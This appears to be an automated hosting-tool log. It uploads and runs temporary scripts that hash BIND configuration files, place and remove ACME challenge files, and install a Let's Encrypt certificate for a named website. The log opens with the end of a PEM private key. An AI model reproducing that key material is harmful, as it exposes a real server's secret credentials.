x/rHDhNMv+WAK0trQofS3I9LjNyfFnRX4bX6rnmTFii1Ca+04EHOLzoKH/Tcksd1
D4QWJjrteqchTfuwCnZRz+cEaN6CndsSehDcFl7XCB6xfsP7gpGpwKF1oQKBgCa1
0ShfBr55Ll5mi7MOYdEBOsY78lX87FHb96NFNrVaqxFgvYzoCTgXJyv3LZSXurFX
/CUmkMnQmfEOLnytCvD6kA06DxSkYuQ/wacBNRXBk234Q4B4zWZUNKpkJXN+9RMx
s+A4wRqpEr8qRerFn+OlDlY02xRBrRVsVBQYR2ZDAoGBAICp0om/8SWyE18pqA8S
cM5jERhuPMiKAaV3fUtdziJz0iNGGh0ZwdJH7K+1wzdD+9pcCQKklEHHVdiJEkZk
3ZA9OlIehWYcYgTcLxC6aM2XuhcPSCzn79f/kYxFJYOhXmczaLIus5l4VNqqvxyD
C6u+ZBNIgD/K9vG5M00n+a9H
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQS6hSk/eaL6JzBkuoBI110DANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTAwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQDPV+XmxFQS7bRH/sknWHZGUCiMHT6I3wWd1bUYKb3dtVq/+vbOo76vACFL
YlpaPAEvxVgD9on/jhFD68G14BQHlo9vH9fnuoE5CXVlt8KvGFs3Jijno/QHK20a
/6tYvJWuQP/py1fEtVt/eA0YYbwX51TGu0mRzW4Y0YCF7qZlNrx06rxQTOr8IfM4
FpOUurDTazgGzRYSespSdcitdrLCnF2YRVxvYXvGLe48E1KGAdlX5jgc3421H5KR
mudKHMxFqHJV8LDmowfs/acbZp4/SItxhHFYyTr6717yW0QrPHTnj7JHwQdqzZq3
DZb3EoEmUVQK7GH29/Xi8orIlQ2NAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBS7vMNHpeS8qcbDpHIMEI2iNeHI6DAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAkrHnQTfreZ2B5s3iJeE6IOmQRJWjgVzPw139vaBw1bGWKCIL0vIo
zwzn1OZDjCQiHcFCktEJr59L9MhwTyAWsVrdAfYf+B9haxQnsHKNY67u4s5Lzzfd
u6PUzeetUK29v+PsPmI2cJkxp+iN3epi4hKu9ZzUPSwMqtCceb7qPVxEbpYxY1p9
1n5PJKBLBX9eb9LU6l8zSxPWV7bK3lG4XaMJgnT9x3ies7msFtpKK5bDtotij/l0
GaKeA97pb5uwD9KgWvaFXMIEt8jVTjLEvwRdvCn294GPDF08U8lAkIv7tghluaQh
1QnlE4SEN4LOECj8dsIGJXpGUk3aU3KkJz9icKy+aUgA+2cP21uh6NcDIS3XyfaZ
QjmDQ993ChII8SXWupQZVBiIpcWO4RqZk3lr7Bz5MUCwzDIA359e57SSq5CCkY0N
4B6Vulk7LktfwrdGNVI5BsC9qqxSwSKgRJeZ9wygIaehbHFHFhcBaMDKpiZlBHyz
rsnnlFXCb5s8HKn5LsUgGvB24L7sGNZP2CX7dhHov+YhD+jozLW2p9W4959Bz2Ei
RmqDtmiXLnzqTpXbI+suyCsohKRg6Un0RC47+cpiVwHiXZAW+cn8eiNIjqbVgXLx
KPpdzvvtTnOPlC7SQZSYmdunr3Bf9b77AiC/ZidstK36dRILKz7OA54=
-----END CERTIFICATE-----
2025-09-17 14:03:06: Establishing a connection
2025-09-17 14:03:06:
PUT: /tmp/pkp817213
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2025-09-17 14:03:06:
runuser -l bind -s /bin/bash -c '/tmp/pkp817213; rm /tmp/pkp817213'
2025-09-17 14:03:06:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 3c9f578a7815e351234f218aeab7cca5
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= a3d92972abbb369edf3baf47c3e33e8b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= f90b48a7c1061822ec2b4beef20285a3
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2025-09-17 14:03:27: Establishing a connection
2025-09-17 14:03:27: Establishing a connection
2025-09-17 14:03:27:
PUT: /tmp/pkp194715
#!/bin/bash
if [ -d "/var/www/theyoungdesigners_com/.well-known" ]; then
echo 1
else
echo 0
fi
2025-09-17 14:03:27:
chmod 755 /tmp/pkp194715; /tmp/pkp194715; rm /tmp/pkp194715
2025-09-17 14:03:27:
1
2025-09-17 14:03:29: Establishing a connection
2025-09-17 14:03:29:
PUT: /tmp/pkp171563
#!/bin/bash
mkdir -p "/var/www/theyoungdesigners_com/.well-known/acme-challenge/"
cd "/var/www/theyoungdesigners_com/.well-known/acme-challenge/"
cat > KTLrHI5nSL8mh9YLuFPk_tIi9Rk3qv4Jm2d5v51Z7HE <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
KTLrHI5nSL8mh9YLuFPk_tIi9Rk3qv4Jm2d5v51Z7HE.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 KTLrHI5nSL8mh9YLuFPk_tIi9Rk3qv4Jm2d5v51Z7HE
cat > 8VvhJV9r6fnU8H7si-K83vy0nne9a5_T7-0LL_7hUts <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
8VvhJV9r6fnU8H7si-K83vy0nne9a5_T7-0LL_7hUts.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 8VvhJV9r6fnU8H7si-K83vy0nne9a5_T7-0LL_7hUts
2025-09-17 14:03:29:
chmod 755 /tmp/pkp171563; /tmp/pkp171563; rm /tmp/pkp171563
2025-09-17 14:03:29:
2025-09-17 14:03:37: Establishing a connection
2025-09-17 14:03:37:
PUT: /tmp/pkp956042
#!/bin/bash
mkdir -p "/var/www/theyoungdesigners_com/.well-known/acme-challenge/"
cd "/var/www/theyoungdesigners_com/.well-known/acme-challenge/"
rm KTLrHI5nSL8mh9YLuFPk_tIi9Rk3qv4Jm2d5v51Z7HE
rm 8VvhJV9r6fnU8H7si-K83vy0nne9a5_T7-0LL_7hUts
2025-09-17 14:03:38:
chmod 755 /tmp/pkp956042; /tmp/pkp956042; rm /tmp/pkp956042
2025-09-17 14:03:38:
2025-09-17 14:03:38: Establishing a connection
2025-09-17 14:03:38:
PUT: /tmp/pkp578087
#!/bin/bash
temp_file=$(mktemp)
TARGET=2deaf2826866ca8d93ba58b86ef107a6.crt
cat > $temp_file <<'endmsg'
73:43:5a:c5:c0:6e:20:c6:7b:6d:31:08:67:62:66:12
-----BEGIN CERTIFICATE-----
MIIFIzCCBAugAwIBAgISBb9KukZ4sEEQaYJ6GF1lvz/5MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUwOTE3MTMwNTA2WhcNMjUxMjE2MTMwNTA1WjAgMR4wHAYDVQQD
ExV0aGV5b3VuZ2Rlc2lnbmVycy5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw
ggEKAoIBAQDGihw6Prb23LY95EenGMk4C+gI8oxE0fppycX0aB8Bg99D+d7XvLl6
hyEPV2iazNubBCedAFlwBEqRMujmDO54ROBHuvAlS437G1AHJKFMPg1K4+/98Tmx
/1cHr1PWNtiONfOUupIC/MTzbcnqWKy9VXd1MyxVmzt287KGIcnunnyGgqvcM/0t
w/+W6XFTtgGKnDU0a3UDjcJ/CWIAg9wGfWDLqYB9bwzMCEx7wcYxCMVz1xkPBIVZ
tzao3s0eHAfU5Rou1hL2+Pm4jTFR98WbseidGNqlbv5tWLSHhuN064bXrkQSUMXz
nmMnkDgXIrbs5NRJQwLt7KPta9J5VNThAgMBAAGjggJCMIICPjAOBgNVHQ8BAf8E
BAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQC
MAAwHQYDVR0OBBYEFMLuNIGWkVR500GsW6g4QtbdjGyKMB8GA1UdIwQYMBaAFAC1
KfItjm8x6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYX
aHR0cDovL3IxMi5pLmxlbmNyLm9yZy8wOwYDVR0RBDQwMoIVdGhleW91bmdkZXNp
Z25lcnMuY29tghl3d3cudGhleW91bmdkZXNpZ25lcnMuY29tMBMGA1UdIAQMMAow
CAYGZ4EMAQIBMC8GA1UdHwQoMCYwJKAioCCGHmh0dHA6Ly9yMTIuYy5sZW5jci5v
cmcvMTIyLmNybDCCAQUGCisGAQQB1nkCBAIEgfYEgfMA8QB3AMz7D2qFcQll/pWb
U87psnwi6YVcDZeNtql+VMD+TA2wAAABmVf86mcAAAQDAEgwRgIhANXseQWM0dho
+7EN0DalhN7sThVrH47Uo6/eh3b32mDhAiEAv7bGbwtuakR//+ZNHMz0r7K7HOR2
hSALttrV2ig6H3cAdgAN4fIwK9MNwUBiEgnqVS78R3R8sdfpMO8OQh60fk6qNAAA
AZlX/OwyAAAEAwBHMEUCIEV7dtipSwvzYo/j5q2F0acjyHN0/3yCLw+Y0mMKTCgB
AiEAsk8BRgg3Lh7bARCuAIhEUYTPJvjqrlRvZqZGnaHy/aUwDQYJKoZIhvcNAQEL
BQADggEBAGynU2RD5VpwwV9g+fc8fi5y/VbGZEo4FaRwE9WLEZ1qd988SaSmwM2i
IuDQhxZrYhl6quxVPFOhP/N+WQsPQ25rzyhSc4QOAwUe3oveLzGsJOJ/3Lf8nAqz
3FECmF7DbaPpsuq9vPcIbogZrwWl2b4O1GbzUbIBmX2OHnYpSIFsuQuAVy1J36Uq
piTDSvM4K52VH/P8C/k/QOg5nWZ0ECGkjP/vXw3T//HEBducJMAtbEXTQG9ugwIA
